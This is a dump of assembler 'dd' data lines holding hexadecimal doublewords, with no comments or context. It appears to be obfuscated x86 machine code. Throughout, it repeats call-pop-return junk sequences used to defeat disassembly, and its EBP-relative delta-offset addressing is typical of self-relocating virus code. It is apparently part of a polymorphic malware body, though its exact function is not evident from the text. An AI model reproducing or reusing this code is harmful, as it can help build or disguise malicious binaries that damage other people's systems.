		dd 85FF064Dh, 64D1815h,	0A59BD8Bh, 6CE9064Dh, 0E8000008h
		dd 0
		dd 46ED815Dh, 6A0650FDh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 9E7EC357h, 0E1BD81EBh
		dd 0D0064D29h, 0F000007h, 1B586h, 4ED68100h, 8B623CBFh
		dd 4D32819Dh, 0B9666006h, 9D8B8B1Ah, 64D2E6Dh, 0FABF0F61h
		dd 100E381h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 72DF76C3h, 0A830Fh, 860F0000h, 4
		dd 20EFBE66h, 850FDB0Bh, 0D1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0BCC35242h,	0AE10C602h, 0BD8B84EFh
		dd 64D1B55h, 5DBD83F9h,	650FBh,	58840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 76E494C3h, 8E871h, 71390000h, 0B0739AA4h, 81669393h
		dd 5E298ECEh, 0A0E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0DD199229h, 85C7FC56h
		dd 650FB5Dh, 1,	0E8F78B66h, 6, 0E9DCB85Bh, 0B70F93A0h
		dd 5EE95EF3h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0BFD0C355h,	0E380FE38h
		dd 5D85C7F9h, 650FBh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 753C352h, 0EE924DDh
		dd 0BA000000h, 7F6A66E9h, 0ABE7A0BDh, 75697D81h, 819D8D3Eh
		dd 6A064D32h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0FFA5C353h, 20175F1Fh,	0AE37696Fh
		dd 1BDDBD31h, 0FE9064Dh, 0E6000000h, 0C4FE940Bh, 2BE909FCh
		dd 76E00EADh, 23813625h, 0FFFFFEFFh, 2499B58Bh,	8C66064Dh
		dd 53006ADBh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0A071FDA7h, 0B857CF8Bh, 0C3F60798h, 9D840F04h
		dd 8B000000h, 4D158DB5h, 2D95FF06h, 6A064D10h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0BE1CC355h, 0CBE80E25h, 7E9977Ch, 0AC000000h, 0B5CD1C2Eh
		dd 0E8909A23h, 5, 172511AFh, 59BE66A6h,	60505E74h, 0CE9h
		dd 3A629E00h, 747FEBE6h, 0BC8917CEh, 0EE860B5h,	85000000h
		dd 0B3B601E4h, 2D3E9505h, 88256831h, 61615E05h,	52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 49A7ADBAh, 95898FCBh, 64D0F11h, 3B4E9h, 0E9B58900h
		dd 0B0064D2Ah, 44FFBE00h, 70E63D6Fh, 1B71BD0Bh,	71E4064Dh
		dd 0AEEE8166h, 0D8B60FFAh, 0E99D8960h, 0E9064D0Dh, 12h
		dd 0B57EC520h, 2E805396h, 49ACF3A8h, 0E2FB7992h, 0BA6160C4h
		dd 6, 2FF5B589h, 0C38B064Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 10C35747h, 0E8C19FECh, 66FB8B04h
		dd 9C1BE781h, 6AE2F766h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0C769C351h,	0E6FC781h
		dd 0D82B71F3h, 0EE8h, 2CBD5300h, 0E045FCA0h, 8BBDC007h
		dd 0E953568Ah, 0Eh, 69F7D471h, 0C61FB0AFh, 8257496Bh, 8B5FD7EDh
		dd 2ABF50F1h, 896FA000h, 6057241Ch, 0FE8F18Bh, 71000000h
		dd 4733C637h, 63FC1642h, 0E30EEEA8h, 61581870h,	0E1B5FF5Eh
		dd 6A064D29h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 707BC352h, 9D89B8E0h, 64D3209h
		dd 51195FFh, 0B50B064Dh, 64D2A1Dh, 6A00B0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 66463BC3h
		dd 562EF81h, 852970E6h,	64D2C81h, 8E971E4h, 4B000000h
		dd 7AE807F8h, 81AD642Bh, 0B0AAA8F7h, 0F613C5Bh,	24C83h
		dd 0E5B52B00h, 0F064D0Eh, 6AD8B6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 348606C3h, 6BA492Ch
		dd 9000000h, 4D0DA5B5h,	6AC38B06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 88EC353h
		dd 6DB9BF66h, 0E904E8C1h, 7, 0D95E153Ch, 66476B64h, 6AE2F7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 8615B4C3h, 9F112919h, 14E9994Eh, 88000000h, 694720BFh
		dd 0D45E569Fh, 7E4356BAh, 9C9CCEABh, 0F6E620Ah,	8D01F1BFh
		dd 64D2BADh, 0BD33D82Bh, 64D1F3Dh, 5E9h, 0F707DD00h, 6A58B4C2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0A372C352h, 0B510931Fh, 4B2E3588h, 2ED8D09h
		dd 0D82B064Dh, 157880Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0ECE685C3h, 0BF665015h
		dd 0B95E914Dh, 7, 2289B58Bh, 0C183064Dh, 8840F00h, 50000000h
		dd 0B258D89h, 3B5F064Dh, 0E860FD9h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 1A3EC356h, 0E9858946h, 66064D31h, 6AD98Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 66A5C1C3h
		dd 0F68BF2BEh, 840F04C1h, 0B5h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0BBC35545h,	1EF51E9Eh, 459A2E82h
		dd 102D95FFh, 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 247730C3h, 77729361h, 0FE876h, 7F3B0000h
		dd 7B6ADA04h, 0F015D6F7h, 0F25F14ACh, 0C781661Ah, 815F9416h
		dd 813C2CEFh, 6A5B48h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 85DFFFC3h, 7D6E94Ah, 2B5AC126h
		dd 8BF08BC3h, 8343DF7h,	860F0000h, 11h,	2BADB52Bh, 0EE9064Dh
		dd 8B000000h, 4D303DBDh, 8BC08B06h, 4D2C75B5h, 8BC38B06h
		dd 9DB58BD8h, 0F5064D0Bh, 0C3D85C7h, 4F99064Dh,	6A3AC0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0C08B5AC3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0F7C35141h, 793D40A9h, 29E1BD81h, 7D0064Dh, 850F0000h
		dd 36h,	21C5BD33h, 85FF064Dh, 64D29E1h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 16h, 0E0C35545h, 0B5231DB2h
		dd 64D0091h, 6FD8D89h, 0B5FF064Dh, 64D29E1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 29C35646h, 9E42ADBEh
		dd 1195FF06h, 6A064D05h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 55A4C350h, 3A98551Fh
		dd 6A9064h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 80CE47C3h, 0A4742D13h, 6AF4377Fh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0F274C357h, 41A19B51h, 72F78166h, 0E9F850CEh, 0Dh, 0D3E49FC7h
		dd 57077DFFh, 5E20280h,	6A5F6Eh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 77F89BC3h, 24919D01h
		dd 0B58B064Dh, 64D15D5h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 4FC35141h
		dd 52E51FE5h, 2531B589h, 895F064Dh, 4D296D85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 66120319h, 9E8F18Bh,	50000000h, 992BC527h, 32138F96h
		dd 10E9h, 341CE700h, 68866272h,	11B8D620h, 45622B78h, 0B58B5EF6h
		dd 64D1BE1h, 0FFF79AE9h, 0B19589FFh, 8B064D14h,	0DE9C1h
		dd 1C770000h, 84C67EE4h, 0D151686Dh, 0EBC1C92Ah, 4, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0BD8BFCEDh, 64D30F9h, 735858Dh, 0BD89064Dh, 64D2B89h
		dd 0FD59BF50h, 4892884h, 0F6816624h, 6A16E2h, 2911BD03h
		dd 6A064Dh, 11E9h, 37AAC600h, 0B4655D39h, 22040714h, 0B7C7C0B1h
		dd 0BD017B9Dh, 64D2619h, 71B858Dh, 95890651h, 64D2F35h
		dd 1E15B58Bh, 0C083064Dh, 7DBD8B05h, 50064D14h,	6E8h, 0A8EB5900h
		dd 0E96CEF46h, 0Eh, 0D2514B3Ah,	0BDF9CDB8h, 570F314Ah
		dd 895EF3F8h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 820FC2C3h, 0
		dd 6AFA8Bh, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Ch,	0A7C35545h, 1C202EC8h, 4A44463Fh, 8B66006Ah, 4995FFF9h
		dd 6A064D11h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 22A4C355h, 0B99D8956h,	5F064D0Ah
		dd 9A139D8Dh, 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BD098EC3h, 64D2EE9h, 0F28BD3FFh
		dd 1585FFF8h, 1064D18h,	4D16399Dh, 801E906h, 0E80000h
		dd 5D000000h, 725ED81h,	6A0651h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 56FB4DC3h, 0FF35B22h
		dd 58Eh, 0D58DBF00h, 0BD810684h, 64D29E1h, 7D0h, 136860Fh
		dd 9D8B0000h, 64D2485h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0F7C35242h, 2CBFE651h, 8172306Eh, 100E3h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0FE8BE15Dh, 5E956h, 5D6C0000h, 5FF4A5BAh
		dd 850FDB0Bh, 6Dh, 0B880Fh, 6E90000h, 0D4000000h, 78454407h
		dd 0C3BD833Fh, 65105h, 10840Fh,	81660000h, 0E917C1EEh
		dd 72h,	10C98589h, 85C7064Dh, 65105C3h,	1, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 89C35343h, 810FA255h
		dd 6, 15319D89h, 33E9064Dh, 81000000h, 431E75E6h, 0C385C75Ch
		dd 65105h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 7042C350h, 22648A01h, 9D8D15D1h
		dd 64D2485h, 0FAE68150h, 5E4C8653h, 0FEFF2381h,	6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 1CFBE3C3h, 1BF9C308h, 0FCBB2A5Bh, 0FDB8C66h,	0C3F6F1B7h
		dd 5B840F04h, 66000000h, 8A0FF88Bh, 6, 23BD9D89h, 95FF064Dh
		dd 64D102Dh, 1A5FC681h,	51500060h, 0CE9h, 3299BF00h, 724ED64Eh
		dd 0E4044E4h, 4895E5Dh,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 21DA2582h, 2C2FEC80h
		dd 8F85F781h, 5E941E2h,	8B000004h, 4D0CA1B5h, 6A00B006h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0B9C5C351h, 0E83AC46Ch, 70E6FB8Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 54C35242h, 0E4FA8BEBh
		dd 53006A71h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 57922707h, 0B60F2665h, 50006AD8h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0BD8BEC42h, 64D1B45h, 6BAF28Bh, 60000000h, 0D65BD89h
		dd 160064Dh, 4D0C2195h,	0C5850906h, 61064D0Fh, 0E9C38B61h
		dd 8, 14031B01h, 38605904h, 6A04E8C1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0B08AC351h
		dd 0D71A2960h, 1C5DB589h, 8951064Dh, 4D0E7585h,	0F7665F06h
		dd 50006AE2h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 5BD5A1E7h, 2B66681Ch, 52006AD8h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 7BBF5092h
		dd 894FCC0Dh, 6A241Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FF0596C3h, 4D29E1B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0F758F28h, 38Ah, 0FE8B6600h,	51195FFh, 6A064Dh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 81606CC3h, 0FA0A44C2h, 0F98B6632h, 5E95161h,	0B5000000h
		dd 4B2E3588h, 0BE00B05Eh, 40547F7Eh, 0F18B70E6h, 6A71E4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 3374D2C3h, 0F64B98Dh, 613CF3B7h, 20A830Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9529C2C3h, 64D0691h,	5890Fh,	13BF0000h, 0F07E03Fh, 0F51D8B6h
		dd 0BA5FFABFh, 6, 0CA4ABF66h, 0B58BC38Bh, 64D1F81h, 6604E8C1h
		dd 0BD01E2F7h, 64D3081h, 0F60D82Bh, 61F8F1BFh, 57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0BF2C6585h, 3D639E10h, 880FD82Bh, 184h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DC35343h, 883B5D1Fh
		dd 0B52BDCCBh, 64D2E59h, 7B9h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 908B1336h
		dd 0C183ACh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	8EC35242h, 0A31F73F7h, 850903FAh, 64D1051h, 860FD93Bh
		dd 104h, 0DFDBD89h, 8C66064Dh, 51006AD9h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 668C0E41h
		dd 0B52B3E97h, 64D317Dh, 0F04C1F6h, 0A784h, 0BFBB6000h
		dd 665946F5h, 61DA3BBEh, 267DB58Bh, 95FF064Dh, 64D102Dh
		dd 0DE8h, 496DF700h, 0EE33BF11h, 5E87B0A7h, 0CE81A61Bh
		dd 1BAF550Ah, 89605B5Eh, 4D27098Dh, 61F28B06h, 0FDBD8B52h
		dd 5F064D15h, 6AC32Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 9465AC3h, 4D2F55BDh, 0ADB58B06h
		dd 3D064D21h, 834h, 2E860Fh, 66520000h,	0E95EFE8Bh, 48h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 9C35242h
		dd 0CD6A9CFCh, 0F78B6623h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0E73C54C3h
		dd 0FC9674C7h, 0D88BC38Bh, 22BDB58Bh, 85C7064Dh, 64D3281h
		dd 31E0E5F5h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	81C35343h, 12396217h, 89AD28DAh, 4D033D95h, 0FDBD8B06h
		dd 8B064D31h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 58CAAC9Eh, 0DAE867AEh, 0BD814416h
		dd 64D29E1h, 7D0h, 43850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0D5DC64C3h
		dd 0E81A00A8h, 0CE9h, 0AF283C00h, 0CB8056B9h, 0BB4E91D4h
		dd 83BE6670h, 0E185FFAAh, 23064D29h, 4D306DBDh,	0E1B5FF06h
		dd 29064D29h, 4D0C5185h, 1195FF06h, 6A064D05h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0FC7CC356h, 0AE0CA881h, 90388473h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 81C35646h, 6AE4D8D7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 4C21C353h, 9D89FC18h, 64D1039h, 8D29F38Bh, 64D30A5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 90C35545h
		dd 4BB70585h, 0EE9F9h, 704C0000h, 0B0FEE8ABh, 36A02634h
		dd 0D4688AFDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 42C35646h, 0DDFAFD66h
		dd 30F22DF9h, 9D0153B6h, 64D203Dh, 10E95Eh, 52C30000h
		dd 2D03C2F4h, 0B14E6724h, 0DC22B134h, 0BD8B717Bh, 64D1009h
		dd 1E75FFBFh, 39D68110h, 6A452187h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 82CC352h
		dd 0F2633E73h, 0B70FCB56h, 15BD8BF2h, 60064D21h, 65B5D08Bh
		dd 16194B0h, 4D309595h,	0F808E906h, 0BD8BFFFFh,	64D2B21h
		dd 8BF28B66h, 0EBF18BC1h, 4, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0CD9D89ADh
		dd 6A064D02h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 7F85C355h, 29CA456Eh, 4D0F0DBDh
		dd 35858D06h, 9064D07h,	4D0DD5B5h, 0F18B9006h, 0FE8B6650h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 406A71C7h, 79193634h, 0CE8F0h, 36790000h
		dd 6608E914h, 3F512E1Bh, 11E83525h, 1A000000h, 0FA90E9ECh
		dd 0E544A7F2h, 5CF0E5A6h, 0A71181F7h, 2945BD03h, 5F5E064Dh
		dd 0FE960h, 9D6B0000h, 0F98C3707h, 0EE2D55Eh, 9141DE2Fh
		dd 0F6B70F91h, 6A006A61h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 2121C356h, 0B806503Dh
		dd 0FE8F621h, 98000000h, 0E1140ED9h, 56E474EDh,	8EB7A245h
		dd 0BD09A5D8h, 64D0A6Dh, 9E95Fh, 541A0000h, 0CFE29CF4h
		dd 6A177FC4h, 3DBD8B00h, 8D064D1Bh, 51110685h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0AC69E27Eh, 5C083FFh, 1BC1B58Bh, 8166064Dh, 50AE97DEh
		dd 0A09682BFh, 24048954h, 5FF08B56h, 0B509006Ah, 64D1595h
		dd 0BD8B006Ah, 64D23A9h, 114995FFh, 9D8D064Dh, 6509A13h
		dd 0E2816660h, 0E860154Ah, 8, 0DDB4EC57h, 0A0668F43h, 810F5Ah
		dd 61000000h, 6AD3FF61h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0D35CC355h,	7EF4BFB7h
		dd 85FF06A0h, 64D1815h,	0FE8h, 0B33A1100h, 0D2E5F8C9h
		dd 45AFA4E4h, 679661B1h, 5FF18B66h, 770E9h, 0E800h, 815D0000h
		dd 511110EDh, 4CE78106h, 817EC8C0h, 4D29E1BDh, 7D006h
		dd 0D860F00h, 0F000001h, 180h, 9D8BF900h, 64D2495h, 3265BD8Bh
		dd 0E381064Dh, 100h, 850FDB0Bh,	0A8h, 6E8h, 0B05E9A00h
		dd 8BB6E4D4h, 4D060DBDh, 0BD835E06h, 6510F27h, 30840F00h
		dd 81000000h, 0B8499AD7h, 559D296Dh, 0E9064D30h, 0AAh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 90C35343h
		dd 0C7F8BA2Bh, 510F2785h, 106h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0B25E8C46h
		dd 7D447F7Bh, 0E9FFB70Fh, 56h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0EC35141h, 0B9958B60h, 61064D0Ch
		dd 0F2785C7h, 651h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0B9C1F7C3h, 4476B120h
		dd 1779B589h, 9D8D064Dh, 64D2495h, 0FEFF2381h, 8589FFFFh
		dd 64D15FDh, 57DB8C66h,	11E9h, 31FC8C00h, 8B33CAA9h, 0FFB35070h
		dd 0C146E21Dh, 0F65EDA7Ah, 840F04C3h, 30h, 102D95FFh, 0BE66064Dh
		dd 575025EAh, 14E8h, 30159600h,	84030BD3h, 0D03165C8h
		dd 0F25D34FDh, 0F0035780h, 5EFB8B2Ah, 2404895Fh, 3782BE66h
		dd 3A4E9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 76BE66FEh, 5952957h, 66064D04h, 74E4EF81h
		dd 0BF0F00B0h, 6A70E6F0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 4CAFC353h, 0E5FDB3AEh
		dd 9589E1C5h, 64D0C11h,	0BD8B71E4h, 64D0C21h, 6AD8B60Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 746FC356h, 96FED67Eh, 6880Fh, 9D090000h
		dd 64D3049h, 6BAh, 0C6816600h, 0C38B0F0Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 6EC35646h, 0C1D972D5h
		dd 8B0F04E8h, 8, 558D8956h, 5E064D22h, 8BE2F766h, 4D26D5BDh
		dd 81D82B06h, 4667BEE7h, 81852916h, 93064D27h, 2820F60h
		dd 0B6000000h, 40BA66D1h, 60506104h, 28C0Fh, 61600000h
		dd 6A9361h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0FF1F4FC3h, 4D29E1B5h, 6820F06h, 29000000h
		dd 4D17798Dh, 1195FF06h, 0E9064D05h, 0Fh, 1B2CBE45h, 11729D8Ch
		dd 54E1DD72h, 0B040F795h, 0D8B0F00h, 60000000h,	0F087F2B9h
		dd 6985892Eh, 61064D23h, 71BD29h, 70E6064Dh, 88F0Fh, 89500000h
		dd 4D23599Dh, 71E45F06h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0FCC35747h, 2026B4BFh, 1169BD8Bh, 0F681064Dh
		dd 6A8E249Eh, 830F613Ch, 1F9h, 11F78166h, 0D8B60F73h, 6BAh
		dd 0FE900h, 0B8870000h,	10981B28h, 0CB52CC0h, 34A1E425h
		dd 6AC38BA1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 6269C357h, 0DC13018Bh,	0DE8150FAh
		dd 476CA197h, 4E8C15Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 75C35545h, 0A1B72BCBh, 2A35B529h, 0F766064Dh
		dd 50006AE2h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0D82B814Fh, 0AE8h, 55A33000h, 0D896F804h
		dd 666D1FDDh, 585EFE8Bh, 21EDBD8Bh, 0D82B064Dh,	13F880Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 444E10C3h, 0CE8D6692h, 0DBEBDF81h, 7B93B7Ah
		dd 83000000h, 0EE8100C1h, 1772E6BCh, 860FD93Bh,	101h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0FC35040h, 4D4E0BD0h
		dd 0B589B68Eh, 64D200Dh, 81C18B60h, 0A0E516DEh,	8C66612Fh
		dd 0A9B589D9h, 0F6064D1Fh, 840F04C1h, 95h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0C7C35545h, 6830FA8h
		dd 89000000h, 4D32B5BDh, 2D95FF06h, 0BE064D10h,	48AA49D4h
		dd 52006A5Bh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 1B964DC6h, 0C32BF88Bh, 94DFBE66h, 0CE8h
		dd 0EC6F7D00h, 7D97FBECh, 0E25FC4AFh, 10E980h, 36040000h
		dd 2BA051A9h, 0AA82826Ah, 6FE0DD6Bh, 3D5FA8A9h,	834h, 7860Fh
		dd 0F98B0000h, 28E9h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 7E6C352h, 293869B6h
		dd 4D0E699Dh, 8BC38B06h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 54B1EE95h, 32659D89h
		dd 85C7064Dh, 64D2485h,	125C8FFBh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 80C35343h, 0C6CC9D0Eh
		dd 856F6C4Ah, 0DE85Ah, 2E720000h, 0F4BC92CAh, 0A60DB904h
		dd 8158949Dh, 3AA3CFF6h, 0B58B5F17h, 64D03E5h, 5E9C08Bh
		dd 61000000h, 260D3987h, 29E1BD81h, 7D0064Dh, 850F0000h
		dd 2Ch,	85FF5E57h, 64D29E1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 8CC35040h, 0B58B6790h, 64D1025h
		dd 29E1B5FFh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BD8BDAC3h, 64D2E25h, 51195FFh
		dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 26691C3h,	66B3A9D8h, 237DB589h, 6A90064Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 7A5AC355h, 0B0F6E785h, 59AE92BCh,	49950160h
		dd 80064D00h, 0F61FAD1h, 1983h,	0F8BF0F00h, 11E9h, 0C1E76600h
		dd 4795E409h, 1C2337C4h, 0A86B1790h, 8A0F9EC6h,	19h, 14E9h
		dd 62CA9E00h, 150069AEh, 0C96785FAh, 92FC9744h,	7BBD70EEh
		dd 61B533B0h, 0BE064D0Ch, 40F05037h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0EBC35040h,	51E7B61Dh, 0C14FC3B6h
		dd 91B5BF66h, 16860Fh, 89600000h, 4D037D95h, 89616006h
		dd 4D186DBDh, 0BD8B6106h, 64D0D19h, 22AD9D89h, 6A064Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 590623C3h, 0F9B52B02h, 6A064D0Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E998C350h
		dd 0FFFFF8B5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	4AC35343h, 885D1A2Fh, 8B03CB2Dh, 0FC18BF7h, 586h
		dd 6AAEBF00h, 4EB3204h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 71C35040h
		dd 395FA191h, 66F85FF5h, 0FF5F78Bh, 686h, 5D9D8900h, 8D064D1Ch
		dd 4D073585h, 9B18BE06h, 0BF904730h, 243989h, 0C4BBE50h
		dd 8B903DB7h, 8B006AFAh, 4D23D5B5h, 89006A06h, 4D0D09B5h
		dd 0B1858D06h, 83065119h, 0B58B05C0h, 64D25FDh,	24048950h
		dd 0FE9h, 0EDCAAB00h, 0C3E5CB4Fh, 353B0884h, 9E835E7Fh
		dd 3830Fh, 0B70F0000h, 6A006AF7h, 61952900h, 0FC064D0Dh
		dd 114995FFh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 12DFD6C3h, 89A6B170h, 199D89BDh
